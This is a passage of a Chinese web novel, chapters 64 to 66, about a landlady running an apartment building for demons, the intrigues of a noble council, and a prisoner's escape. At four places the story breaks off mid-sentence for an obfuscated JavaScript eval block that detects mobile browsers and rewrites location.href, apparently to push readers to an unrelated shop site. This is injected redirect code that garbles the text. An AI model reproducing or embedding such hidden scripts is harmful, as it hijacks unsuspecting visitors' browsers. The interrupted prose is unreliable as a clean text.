“对了，我刚才在说罗德里斯。” “拜托，那又是另一个噩梦了，一个巨大的黑色梦靥。” “我究竟做了什么孽，居然要做三百年噩梦？” “阿斯代伦，别告诉我你同意她去解放罗德里斯。你要知道，有的事能做而有的事不能做……” 波诺口中的话题一直在发生变化，唯一不变的是他始终没有停止唠叨。 阿斯代伦皱着眉头打断了他：“连你都对她感到害怕，你觉得我又能做得了什么呢？难道要往郊外派更多魔女？你知道，再多魔女都没用的，还不如开几辆坦克、架几台大炮。” “就那么办，明天开会的时候我就和布劳斯说起这件事，我得确认一下武器库存——我们多久没动用过那些东西了？” “你真打算说？怎么说？魔王打算解放罗德里斯，所以最好在基地附近布置一些现代化的武器？” “就是这样。” “你敢？” 波诺被阿斯代伦眼中突然闪现的寒光吓了一跳，他忿忿不平地大叫了一声，“见鬼！” “你凭什么这样拿捏我？” “又不是我自己想去那儿的，还不是阿加雷斯大人让我帮忙！” “至少我带回了一条情报，就当是给我的奖励，对我好一点——好吗？” 阿斯代伦被他的表现气笑了：“你好歹也活了这么久，难道还弄不清楚状况吗？” “状况嘛——不就是蒂德莉明显偏心魔王，兰登想让我们和好如初，韦斯特尔和贝尔霍特沆瀣一气，只有布劳斯还想着干点正经事——可惜他脑子最不聪明。” “还有你，大概是想替阿加雷斯讨个公道？” “至于我嘛……呵呵，还不是任你捏圆搓扁，就别提了！！” 波诺拉开圆桌边上的一把椅子，一屁股坐了下去，结果发现这是韦斯特尔的专座，又立刻弹了起来，“韦斯特尔——这家伙格外不对劲！” 阿斯代伦挑了一下眉：“没想到你真的够清楚的。” 波诺又叫了起来：“阿斯代伦，你是不是把我当成傻子了？！” 阿斯代伦沉默了一会儿。 “你这是默认了？”波诺可怜巴巴地看着他。 “给你一个建议，”阿斯代伦少见地打了一个没有意义的响指，“机会难得，你就没想过和魔王攀个交情？她虽然阅历尚浅，但比贵族院靠谱多了，你不觉得吗？” 波诺将这话琢磨来琢磨去，突然眼睛一亮，脑袋上的一根鬈发也精神地翘了起来：“你说的好像有道理。” * “那个……我听说这儿最近开始接受，呃，人类房客了，我没说错吧？” 敲开罗德里斯公寓101室房门的是一个打扮奇怪的女人——她看起来就像是一百多年前流行一时、现在已经成为“文学名著”的小说里所描绘的那种流浪在“当代社会”的女巫。 她身上的衣服简直像是把一只旧得不像话的麻布袋撕开然后拼接成的，其间还穿插着橙色、蓝色、粉色、绿色的碎布条——而且都是些洗得褪色，染着污渍的碎布，她披着一条连帽披肩，帽子和披肩连接的地方垂着两条巨大的流苏，看上去就像是她的辫子。 她有着一头坚硬而花白的头发，从那种自然的质感来看，那并不是染出来的颜色。可她看上去还远远没到能够被称为“婆婆”的年纪。 从她这副褴褛不整的打扮和憔悴疲惫的神情来看，她确实亟需帮助。她很可能是在轰炸事件后一直没能找到落脚处的受害者。 “你没说错，只要你愿意和那些异族的租客们友好相处的话，这儿会非常乐意为你提供帮助。”妮娜将女人请进了屋子。 她安全地走了进来。 这意味着恶魔城也断定这是一位对魔族持中立或友好态度的人类。 之前有过上门打听空房的人类在进门时无缘无故踩空摔倒的事情发生。 妮娜再三考证后发现那是恶魔城搞出来的恶作剧，她便意识到这件可靠的魔法道具也会主动对房客进行筛选。 能够顺利进到房屋内部的，至少可以认为对这里的租客不抱有主观的恶意。 “可以选择的空房不多了，一楼和二楼各剩一间，你比较喜欢住在哪儿？”妮娜打开她的房客文档，准备进行资料的录入。 “一楼就可以了，女士。我叫佩吉，佩吉·卡斯纳，二十八岁，是一个媒介商人。”女人很自觉地将自己的基本信息报了出来。 在听到她的职业时，妮娜有些好奇地将她再次打量了一遍：“媒介商人——是指魔法媒介吗？” “是的，我本来在旧城区有一家小店面，经营一些简单的魔法媒介的买卖，”佩吉说，“不过你知道的，因为之前那桩事，我的店面被炸没了——我怀疑店里的一些魔法回路吸引了那些魔法弹，总之，那里已经成了一片最糟糕的废墟。但万幸我没被炸弹砸中。” 妮娜内疚地眨了眨眼睛。 如果那些魔法媒介确实对炸弹的运动轨迹起了作用，那佩吉无疑在无意中成了她和罗德里斯公寓的恩人。只是这些话实在让人说不出口。 “我这两个月来一直在问贵族院要个说法，希望他们能赔偿我一间面积相仿的店面——我甚至没要求更好的地段，但他们并不打算受理我的请求，我决定先把自己安顿下来再继续抗争，我已经很久没有好好休息过了。” 就如同之前描述的那样，她看上去精神不佳，但考虑到她刚刚经历两个月东奔西走无家可归的生活，能保有这种状态已经堪称难得，简直不敢想象她在全盛期会是一个多么充满能量的女人。 佩吉的房间是107室，她对房间的内容物只提了一张床的要求，接着就提着她那贴满了各种魔法阵贴纸的行李箱搬进新居。 “我先要好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924322|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡一觉，别的都等我醒来再说，你知道，做生意的人最讲究信誉，我肯定不会拖欠房租的……总之，我先要睡一觉。” 佩吉在关门的时候发出了巨大的声音，把下楼觅食的拉弗尔吓了一跳。 “一个不懂礼貌的新客人，还是一个不懂得克制力道的新客人？” “她急着去睡上一觉，我想这只是偶发事件。” 拉弗尔在空气里嗅了一会儿，得出结论：“又一位人类房客。” “她是一个媒介商人，”妮娜说，“我很高兴能获得这样的房客，我想从她那儿学一点魔法知识，以弥补我……呃……力量不足的缺陷。” 拉弗尔走到客厅里，开始摆弄咖啡机，现在他已经能够熟练地操作厨房里的各种机器了。 “您说她是媒介商人——做魔法媒介生意的那种？” 咖啡机开始预热，发出一阵轰隆隆的噪音。 “她本来在附近有一家店铺，但是被炸毁了，她花了两个月维权，但是一无所获。”妮娜简述了一下情况。 拉弗尔正在调整机器的设定，动作突然顿了一下。 “怎么了吗？” “您还记不记得，轰炸发生的那一天，我们正要带艾力克去私塾。因为半路上发生了那样的事情，我们不得不无功而返，再之后……因为发生了很多，就搁置了送艾力克上学的事情。” 妮娜看向104室的房门，那是艾力克住的地方。 小巨魔在这些日子除了到外面去做一些志愿劳动之外，大多数时间都一个人乖乖呆在房间里，他似乎知道大人们都在各自忙碌，没有太多精力来照顾他这个小孩子，所以从不给人添麻烦。 拉弗尔看出房东面带愧色，不由暂停了冲咖啡的计划，“他能体谅您的，尤其是前段时间您一直呆在赫尔马岱，几乎连休息的空闲都没有。” 妮娜打起精神：“现在赫尔马岱有维克多和布莱克主事，虽然还有很多事没有完成，不过在下一阶段的行动开始之前，我会在王都住上一阵子，我想现在有机会安排艾力克的学业了。” 佩吉·卡斯纳正在呼呼大睡，丝毫不觉自己已经被人惦记上了。 “好了，我们现在可以开始讨论房租的事情了。”她在罗德里斯公寓睡上了久违的好觉，正是神清气爽的时刻。 而她的准房东手里显然已经准备好了合同。 “请先看一下租房的合约，上面明确规定我们彼此要履行的责任和义务，如果你同意上面的内容，我们会有很大的还价空间。” “我信奉千金散尽还复来，别看我现在没多少钱，但你一定知道魔法媒介是门很赚钱的生意。”佩吉是个对现实生活没多少危机感的人。 她的一部分底气来自于她随遇而安的性格，另一部分则来自她在魔法方面的学识。 “只要给我一个屋檐，我很快就能让生意重新开张，然后我就能出得起房租了，不光如此，我还要赚够请律师的钱。” 64. 第 64 章 “你确定能找到一位愿意和贵族院打官司的律师吗？” “这个嘛……实在不行的话，我不介意亲自出马，不过是一些法律条文而已，我可以自己学。” “其实我们这儿有一位住户是恩斯法内大学法学院的高材生，他也是罗德里斯公寓的法律顾问，不光为公寓管理法律方面的事务，也可以为房客提供法律援助。” “等等，房东女士，你和我说这个做什么，你打算免费为我提供法律帮助，还是打算讹我一笔？如果你真要那么做，我现在立刻马上就会带着我的行李离开，让你白白请我睡一觉。” 妮娜将合同摆到佩吉眼底下，指了指其中的一条款项：“我希望你能为这儿的未成年——我是说年纪还很小的租客提供教育，我听说很多媒介商人都会干这份兼职。” 佩吉露出恍然大悟的表情：“噢，我以前干过这个，对于没钱购买星屑的商人来说，这是一种通用的获取魔力源流的方法，但是效率太低了，你知道，教育是一种时间成本很高的工作。” 妮娜听出了她的言外之意：“你已经不干这个了？那你是怎么获得魔力源流的？” “当然是直接给钱啰。”佩吉说，“只要控制好各方面的成本，我是说算上向魔族购买魔力的这部分，再加上制作道具的材料成本，开店的水电成本这些……这种方法比‘私塾’要方便多了不是吗？我倒是很不理解那些花那么多时间只能换到那么点魔力的低效的商人。” 这话让妮娜无言以对。 “听你这么说，我也无法理解那些人了……你是不是漏掉了一些关键情报？” “什么意思？” “我只是打个比方，比如受过教育的魔族能提供更加稳定优质的魔力，或者说在接受新知识后的多少时间之内，魔族体内的魔力流动会更加踊跃……之类的。你有观察过那些兼职私塾讲师的同行吗，他们的产品比起你的来怎么样？或者说你在当讲师时制作的媒介和现在有区别吗？” “……我从不关心那些。但经你这么一说，又好像确实有这么回事，我少了很多回头客，一定是他们觉得我做的媒介没有以前那么可靠了。” 佩吉·卡斯纳陷入了沉思。 * 贵族院的地下监狱。 这是一个终日见不到阳光的地方，空气流通也不好，阴森，潮湿，要在这里过上有品质的生活是完全不可能的。 对于蝙蝠来说，这样的环境则不算太遭，如果空气质量再提升一点的话，这里将会是十分舒适的筑巢场所。 一条影子正安静地划过这片空间。 它看起来像是一只蝙蝠的影子，但未免太大。 那条影子在这座地下迷宫里盘桓了一圈，却始终没有找到自己的目标。这里压根就没有关押着囚犯。你根本就不知道贵族院建造这个地下设施的目的。 “你胆子可真是不小。”一个冷冷的声音从黑暗中响了起来。 接着，从伸手不见五指的地方传来一阵簌簌的声音，就像是无数条无足的爬行动物自四面八方涌来一样。 那条黑影加快了移动的速度，他精准的避开了所有袭来的血鞭，几乎是没有声息地在这片漆黑的空间里完成了周游。 他准备离开这个已经搜索完毕的地下迷宫。 “她怎么还敢让你来这里自投罗网？我还以为她会是比格兰德更加体恤下属的魔王。” 黑影没有理会这个声音，专心地向迷宫的出口飞去。那些血鞭对他穷追不舍，但无论是速度还是方向感，那些长条形的玩意儿都要逊色一筹。 “我命令你，停下。古斯塔夫。” 黑暗中传来噗叽的声响，血鞭缠住了什么东西。 阿斯代伦缓缓地向那个地方走去，一条血鞭殷勤地游走在墙壁上，找到了照明用具的开关。啪的一声，一部分黑暗被驱散了。 灰色的地面和暗红的血液相映成趣，血鞭的中央是一团黑色的东西，那些红色的触手正在对它进行戏弄。 但那只是一团毫无生机的布料。 血鞭将这团布料献宝似的献到主人面前，而阿斯代伦皱了皱眉：“怎么会……” 命令没有生效。 他持有吸血之王的核心，可以无条件地命令血族这个分支下所有除了原始魔族之外的成员。 而古斯塔夫显然年轻到绝不可能是一位原始魔族，他只是血族之中顶顶劣等的吸血蝙蝠。 那家伙是怎么从这绝对的权威之中逃脱的？ 难道他捂住了耳朵？ 不可能，一只蝙蝠要是失去听力，又如何在黑暗中灵敏地飞翔？ * 古斯塔夫飞快地离开了地下世界，返回了那栋令人感到安心的公寓楼。 他本来想直接回到自己的房间去的，就在他即将钻进窗户的时候，他看到房东从一楼的窗口探出脑袋，向他招了招手，于是他下意识地改变了飞行的方向。 妮娜伸手接住了他：“你的体温比平时更高，看来是场惊险的大冒险，万幸你还是平安回来了……还有，你今天没有穿斗篷吗？” 古斯塔夫很快就被转移到了写字桌前的椅子上，妮娜拿了一本笔记本当扇子，给他扇起了风。 “我被发现了，为了加快飞行速度，只好舍弃一点负重。”小蝙蝠惊魂未定地说道，“我知道贵族院的地下有一座迷宫，我以为他们会把炼狱兽关在那儿，所以我今天去了那里，可是那里什么也没有。他们一定还有什么别的秘密基地。” “地下迷宫……但什么都没有？”妮娜有些困惑。 古斯塔夫沉思了片刻：“唔，可能不准确。中间有一片我进不去的区域，但我可以感知到那里不存在接近炼狱兽的热源。” 妮娜伸手帮他整理了一下膜翼，好让他在椅子上躺得更舒服一点：“我怕你遇上那个家伙……吸血之王。” 古斯塔夫愣了一下。 他遇上了，那个持有吸血之王核心的家伙。 可什么也没有发生。 * 血液仆从们已经悄无声息地退下了。阿斯代伦将那团黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924323|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漆漆的破布攥在手里，一时不知道接下去要干什么。 这是第一次出现“命令”失效的情况。 或许他应该尽快搞清楚其中的原理，实在是因为此事干系重大。 他的脑中已经有了几个猜测。其实他在过去就考虑过这些问题。 其一就是大贵族核心的权威发生了衰减——毕竟他们已经持有这些核心三百年了。 如果大贵族核心还附带不死不灭的功效，那么魔界又为何需要核心的传承，让同一持有者永远把持权能岂非一劳永逸？ 但核心在同一持有者身上的权能会随时间衰减的话，大贵族的代际传递就变得很有必要。 其二则是因为魔王的出现——绝对王权正在回收流落在外的贵族权力，又或者魔王用更高的权限隔绝了大贵族核心对普通魔物的控制，只要魔王说一句“再也不要听命于那些沽名钓誉的大贵族”，她的臣民便永远地从大贵族的权力之中被解放出来…… 也许她无意间对古斯塔夫说了那样的话： 不要再充当贵族院的走狗。 不须再听命于贵族院的人类。 不必再囚困于过往的罪行…… 无论那是怎样的期许，总之，那比起他们之间尔虞我诈的对话要更胜一筹。 无论那是怎样的指令，总之，那比起他们的狂妄自大和颐指气使更让人心甘情愿。 阿斯代伦的内心出现了一点动摇。其实他早就开始动摇了。他从很久之前就在怀疑他们三百年前所作所为的正当性。 他们带领人民来到这片未曾涉足的土地，这里有神秘莫测的魔法，有强大凶猛的魔物，在这些闻所未闻的力量面前，他们显得那么弱小，但是怀着对自由和美好的向往，他们无所畏惧，决意要在这里建立新的国家—— 一个没有强权，没有酷刑，没有掠夺，没有不公的新的国家。 正因为他们怀着凛然的决心，怀着无畏的大义，他们才能用脆弱的肉身和那些刀枪不入的魔物战斗，用铁与血战胜魔法，他们杀死了魔王，破坏了生命之树，他们得到了土地，得到了资源，实现了对追随者的誓言。 同时，他们却对另一个种族实行镇压，进行屠杀，奴役，夺走他们的权利，榨取他们的价值…… 这一切真的是正确的吗？ 他已经不再需要一遍一遍地扪心自问。 “阿加雷斯……”他在黑暗中走向地下迷宫的中心。 说起来，他确实很久没有来看望过自己被囚禁的那位兄长了。 …… 对于大贵族以下的魔族来说，“近卫”是他们能够得到的最为荣耀的身份。 经由魔王的应允和授命，他们便能脱离大贵族的权力体系，成为只须听命于魔王的存在，甚至连大贵族也要对他们敬让三分。 近卫的传承已经断绝很久了，战后出生的魔族似乎并没有机会了解到这个身份，相关的知识也没有流入贵族院手中。 ——《勇者笔记·第四卷（未发表）》 …… 65. 第 65 章 阿加雷斯对魔族了解甚多，也许可以从他口中听到一些过去不曾知晓的事物。 他一定想知道妮娜·斯特尔的最新动向，也没准会有那么一点点想念自己的弟弟…… 总之—— 阿斯代伦打开那座囚笼的入口，小心地迈出脚步，然后在鞋底接触地面的瞬间僵住。 房间是空的，里面没有那个熟悉的身影，只有代表大法阵正在发动中的蓝色荧光。 用星屑刻画出来的咒文和符号铺满了整个空间，从地面的正中画出三十二道刻线，向各自的外沿伸长，攀上墙壁，最终在天花板的中心汇合——编织成一个巨大的鸟笼。 漆黑的天花板上，凌乱地点缀着大小不同的星屑团，那些都是不具备魔法效力的废料，用来模拟夜空的星辰，好让这座牢笼的囚徒能畅想星空的模样，聊以打发漫长而无趣的时光。 阿斯代伦第一次发现这个空间原来是如此让人感到窒息，他一刻也不想在这儿呆着。 这种盛大的空虚和孤独让他的头脑暂时忘了一个重要的事实。 这儿原本是关押阿加雷斯·格尔克诺的地方。 而现在，它的囚徒却不知所踪。 直到一个惊恐的声音从他身后传来：“你放走了阿加雷斯？！” 阿斯代伦猛地回过神，后退了几步，“不，不，我来到这里的时候，阿加雷斯就已经不在了。”他转过头，见到了兰登那张花容失色的脸。 他立刻又恢复了原本的镇定。 “看来大法阵的衰弱比我们计算的还要厉害，但阿加雷斯把这件事掩饰得很好，让我们误以为大法阵只是出现了一点松动，也让我们完全放松了警惕。” 兰登走上前来，高跟皮靴在地面上撞击出蹬蹬蹬的声音，“阿斯代伦，你发誓，这不是你做的，对吧？” 一部分用固态星屑刻画的圆阵符号被破坏了，天知道这里的囚徒用那些抠下来的星屑做了什么。 “阿加雷斯是自己逃出去的。”阿斯代伦神色平静地看着她，“你很少来这里，今天是怎么了？” 兰登的脸上显露出一丝窘迫：“我……有些事想找殿下谈谈。” “看来是要紧事。”阿斯代伦不动声色地占回了对话的主动权。 兰登咬住下唇，过了好一会儿才松开，“我们七个人正在渐行渐远。我非常盼望殿下能够回到我们之中。现在的圆桌会议让我感到窒息。” “……” “你是不是想说，‘早知如此，当初为什么要同意启动大法阵？’……我也没想到我们现在会变成这副模样。” “你不用过于自责。那个决定是我们一致通过的。” “阿斯代伦殿下……你当初又是怀着怎样的心情通过的那个决议？” 外形趋近吸血鬼的人类僵了一下。 “我高估了阿加雷斯对你们的重要性。我以为圆桌会议很快就会发现贵族院根本缺不了他，没想到一晃就是十几年。” “十四年。”兰登压了一下手指，“你并没有高估殿下的重要性，是我们太迟钝，还太要面子。” 阿斯代伦不置可否地笑了一下：“看来你已经冷静下来了。现在让我们讨论一下该怎么处理这件事吧——要在会议上隐瞒阿加雷斯的失踪吗？” 兰登的表情变得严肃起来，她想了想，说：“我会派一些魔女去寻找殿下的下落。还是先把这件事瞒下来比较好。” “真巧，我也是这么想的。” * “抱歉，这位客人，我们这里没有找得开的零钱，如果可以的话最好还是使用移动支付。” “移动支付……呃……” “不会吧，客人，你不会用吗？连我那八十岁的奶奶都知道怎样用手机完成支付，你可是一个年轻人——我从没见过到了你这个年纪还不知道移动支付的，你真的不是在开玩笑吗？” “我只是没有带手机。” “那就给现金吧，先生。这年头很少有人出门会忘带手机的，没有这玩意儿他们什么都做不了。” “给。” “哦……没有面额更小的纸钞了吗？我得数数找零的钱……” “先生，能找多少就找多少吧，后面还——” “这可不行！我怎么能多收客人钱呢？要不你再去拿点东西。” 妮娜正在便利店收银台前的队列之中，她在这里挑选了一些文具，准备送给艾力克，不过排在她前面的顾客似乎在结账的过程中遇上了什么问题。 她从后面探出脑袋，看到收银台上只放着一包蔬菜饼干，便伸出手去，把已经打开支付界面的手机放在店员眼皮底下：“和我的一起结了吧。” 店员笑了起来：“现在的大学生总是乐于助人，真让人感到骄傲。小子，你得好好谢谢这姑娘。”他说着已经熟练地完成了扫描和结账的工作。 妮娜从台面上拿回自己买的那些东西：“一包蔬菜饼干而已。我更想节省时间。” 她有些好奇地看了购买蔬菜饼干的青年一眼。 和想象中那种虚弱苍白颓废的“家里蹲”形象不同，他有着柔软干净的棕色头发，明亮的琥珀色的眼睛，健康的麦色皮肤。 和这位阳光开朗大男孩一比较，她自己反而更像大门不出二门不迈的那个。 大男孩从收银台上抓起他的饼干，朝她淡淡地笑了笑：“谢谢。” 妮娜回了一句不客气。 不知为何，心脏有种不太舒服的感觉，即便不细数脉搏，她也能觉察到自己心律不齐。 或许是这里刚刚装修过的气味让她产生不适。她快步向门口走去。 青年追了上来：“我要怎么把钱还给你？” “不是很有必要，都说了，一包蔬菜饼干而已。”妮娜一脚迈出了自动门的范围。 “你知道吗，这里面除了有三角形的普通饼干之外，还有做成星星形状的幸运饼干。”青年也跟着走出了便利店，一边撕开了饼干的包装袋。 妮娜像看神经病似的看了他一眼。 青年捞了一块饼干出来，刚好是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924324|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星星形状的那种，两个人都因此愣了一下。 “看来今天会是好运的一天。”妮娜耸了耸肩，决定不当一个扫兴的人。 “你要不要来一块？”青年将袋子递了过来。 “我妈妈一直教我不要吃陌生人给的东西。”妮娜虽然嘴上这么说，手却不由自主地伸向了那包蔬菜饼干，然后也从里面捞到了一片五角尖尖，“难道这整包里面都是星星饼干吗？！” “你今天也会有好运的。”青年说。 妮娜将星星饼干丢进嘴里，随即立刻警觉地看了青年一眼。 饼干上有魔力的气息。 这位青年是个魔族。 因为是魔族，所以没有手机，很难使用移动支付手段，这个理由看起来比什么“家里蹲一族”贴切多了。 可是这家伙看起来太像人类了，如果不是嗅到了货真价实的魔力气息，妮娜绝对不会怀疑他的身份。 “怎么了，用那样的眼神看着我？”青年心虚地错开了视线。 妮娜将嚼碎的饼干咽了下去，问道：“你是魔族？没猜错的话，应该是一位……魅魔？” 看到青年的眼中闪过一丝慌张，她又立刻补充道：“你放心，我不是种族主义者。” 在所有类人的魔界种族中，魅魔这一支无疑是和人类相似度最高的，不考虑行为举止和生活习性，只看外表的话，除了腹部的纹路，几乎不存在能将其与人类准确区分的具体特征。 如果是外貌上完全无法与人类区分的魔族，第一时间应该想到对方是魅魔的可能性。 青年一时没有拿稳他的蔬菜饼干，但最后还是以异常灵敏的身手在那些小饼干们洒出来之前接住了包装。 他的脸看起来有点红：“为、为什么这么问？你觉得我具备……那方面的吸引力？” 妮娜摇摇头，但又点了点头。 如果对方是魅魔的话，就能够解释从刚才开始莫名发生的心悸了。 姑且不说性格方面的问题，至少在外形上，他看起来相当迷人。 “虽然看起来像一个人类，但你身上有魔力。而魅魔是和人类相似度最高的魔族分支。”她解释道“我认识的魅魔先生在气质上会更加偏中性一点，毕竟他们是能在两性之间随意变化的种族。但你很特别。或者说你是一位夜骑？我听说这是非常罕见的亚种。” 青年叹了口气。 “我猜错了吗？”妮娜无意识地向他的腹部瞥了一眼。 注意到她的视线，青年有些害羞地用手遮掩了一下——尽管那里本来就有衣物的掩护。 他知道她在暗示什么，于是辩白道：“亚种身上没有那种纹章。” 在妮娜听来，这相当于他已经承认了自己的身份。 他看起来并不像大多数混迹在人类社会中的魔族那样狼狈，这也符合薇薇安和拉弗尔所说的，魅魔会把整理外观的优先级提得很高，但这绝不意味着他们过着阔绰优渥的日子。 为了维持优越的外在形象，他们总要舍弃很多东西。 66. 第 66 章 “我在这附近经营面向魔族的出租屋，向任何有需要的魔族提供帮助。” 妮娜一手拎着便利店的塑料袋，另一只手从胸前的口袋里摸出一张名片，“除了出租屋外，目前也承办储蓄和信贷业务，还能帮忙介绍工作。” 名片上印着持有者的基本信息，还有几行联系方式。 所有内容都用人类文字和魔族古文字的双语写成。这是她拜托文森特设计的。 大巫妖兴致勃勃，还为此专门创造了一套新的古文字体。 “妮娜·斯特尔。”青年小声把那上面的名字念了一遍。 “正是在下。虽然在从事魔族相关的生意，但我是一个人类。”妮娜一本正经地说着假话，“嗯……告诉我你叫什么名字。” “阿加雷斯。” 一个像是开玩笑似的回答。 但妮娜不认为他在开玩笑。 没有魔族能在她的“命令”下撒谎。 ……大概。 “谁给你起的？唔，我只是没想到……会有魔族和勇者用同样的名字，不、不，这完全可能发生在不知情的情况下，毕竟我也是在前不久才知道三百年前那位勇者的姓名。不过我还是不认为管理局会给魔族起这样的名字。” “当然是我的父母。” “父母？你不是从生命之树上诞生的吗？” 阿加雷斯的表情变得局促起来，他思考了一会儿，才说：“呃……也许你不知道，极少数的魅魔具备生育能力，如果他们和同族结合，就会生下只具备男性特征的后代，也就是所谓的夜骑，他们——我是说我们，通常会比一般的魔族拥有更强大的魔法天赋。相对的，魅魔和人类结合，就会生下只具备女性特征的后代，也就是女妖。” 妮娜以为薇薇安、拉弗尔还有莉莉已经传授了她关于魅魔这一种族的全部知识，没想到还有漏网之鱼。 “因为具备生育能力的魅魔很稀少，要凑出一对就更加难得，所以夜骑才这么罕见？等等，这么说来，莉莉的父母之中应该有一位人类……她自己知道这件事吗？还有我们可以做关于魅魔的第三期视频了——”她自言自语起来。 “1402号。”阿加雷斯核对了一下名片上的住址和街边号牌上的数字，“这就是你经营的那栋公寓了吧？我可以进去看看吗？” “当然可以，”妮娜回过神来，“你在寻找住处吗？” 回到公寓的时候，佩吉正坐在公共区域的餐桌边上教艾力克写字，妮娜立刻将刚刚买来的那些文具送到他俩面前。 佩吉抬起头来，清点了一下袋子里的东西，挑了一支铅笔塞给艾力克，“房东女士，你尽管放心吧，虽然有点生疏了，但我还没忘记以前备过的那些课呢。而且这也是一个聪明的小家伙，日后有机会的话你该送他去上大学才好。” 这时候她看到了跟在房东身后的陌生人，又补充了一句：“噢，真是个帅气的家伙，你的男朋友？” “来看房的，没准会成为你的新邻居。”妮娜说。 “也就是说我有机会？”佩吉像发现猎物似的眯起眼睛。 “我是一个恶魔。”阿加雷斯说。 “我不介意。否则我也不会住在这儿，还给小蜥蜴当家庭教师了。”佩吉笑道，“和异族的恋爱一定非常有趣。” “二楼还有一个空房间，我带你去看看。” 阿加雷斯环顾了一下四周，指了指公共区域边上那扇没有任何修饰的门：“我看这个房间也没有人住，我不能住在一楼吗？” 妮娜看了一眼确实还无人入住的108室，说：“那是给人预留的。” “给谁？”阿加雷斯问。 妮娜没有回答。 阿加雷斯最终没有选择地选择了207室落脚，魅魔们得知这件事后，围着这位他们也从未亲眼见过的活的夜骑转了半天。 “真是一位让人自豪的同族。”他们纷纷如此表示。他身上强烈的魔力气息让他们感到兴奋不已。 任由四位魅魔在过道上热聊，妮娜回到自己的房间，没注意到下楼梯的时候阿加雷斯一直盯着她的背影。 她坐到电脑桌前，打算更新一下项目履历，刚刚打开文档，房门就被敲响了。 从门的发声位置可以断定，这回的访客是古斯塔夫。 小蝙蝠走进房间，旋即将房门关得紧紧的，“我想到了一件事，说不定可以成为寻找炼狱兽的线索。” 自从妮娜把寻找蒙多的任务交给他之后，他就对这件事上了十二分的心，甚至不惜冒险潜入贵族院的地下。好在现在他不再那样鲁莽行事了。 “你想到了什么？”妮娜给他准备了一把椅子。 “魔女是从一个美院学生的宿舍抓到炼狱兽的，我想查询一下在王都办学的几家美术学院的宿舍都在哪里，也许能找到一些蛛丝马迹，如果能嗅到一些气味的话就更好了。” 妮娜立马登上地狱火的主页：“我知道那个美院学生是谁，我竟然一直没有想到从他身上入手！” 古斯塔夫凑了过来，眯着眼睛，仔细打量着主页上眼花缭乱的产品。 “等一等，这个——”他突然伸出连接着膜翼的手，指了指页面上的某个图案。 妮娜打开了那张缩略图，将图片放大到适合屏幕的尺寸。 那是浑身漆黑的魔女与浑身被明亮火焰包裹着的魔物战斗的画面，光与暗的对比形成了画面的主要趣旨，对战双方的表情虽然夸大，但显得很有对峙的张力。 看来是阿尔弗雷德的新作品。 不考虑人品的话，他确实是个才能出众的画家。不是谁都能画出如此饱含情绪的作品的。 “不错的画。你有什么发现？” 古斯塔夫贴近了屏幕，用小爪子点了一下魔女在衣袖和手套之间暴露出来的那截手腕，上面有一个刺青一般的纹样，“这是深渊巫妖的标记。这个魔女应该是巫妖的手下。” 尽管他的描述经过省略，但妮娜很快就反应过来，古斯塔夫所谓的巫妖手下，正确说法应该是持有巫妖核心的那位贵族的手下。 “据说魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12939154|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女是深渊巫妖和人类混合生成的产物，他们身上会有代表深渊巫妖的标记，也不能说明他们是巫妖的手下。”妮娜说，“虽然七贵族只能控制各自分支之下的魔族，但是可以控制任何一位魔女，光凭这个应该不能确认蒙多是被巫妖抓走的。” 但不得不说，阿尔弗雷德这家伙还真是观察入微。 “我想，并不是每一个魔女都有这个标记的。”古斯塔夫说。 妮娜皱了皱眉，开始回忆自己曾经遇到过的魔女。 她想起向乌瑟征询有关参加创业大赛的事宜时的情形，想起他敲打键盘，还有把资料递给她的样子。 她想起乌瑟有一双好看且干净的手，手腕上并没有类似刺青的标记。 “你说的对。但不在手腕上，也有可能在其他地方。要确认的话，最好当面问个清楚。” “您、您要去找乌瑟先生吗？”古斯塔夫急急问道。 妮娜意外能从他口中听到这个名字：“你知道他？”她想起乌鸦说过他们俩算是半个同僚。 古斯塔夫低下脑袋：“我本来就是为了接替他的工作才被派到这儿来的。” 有些事情好像被模模糊糊地串联起来了。 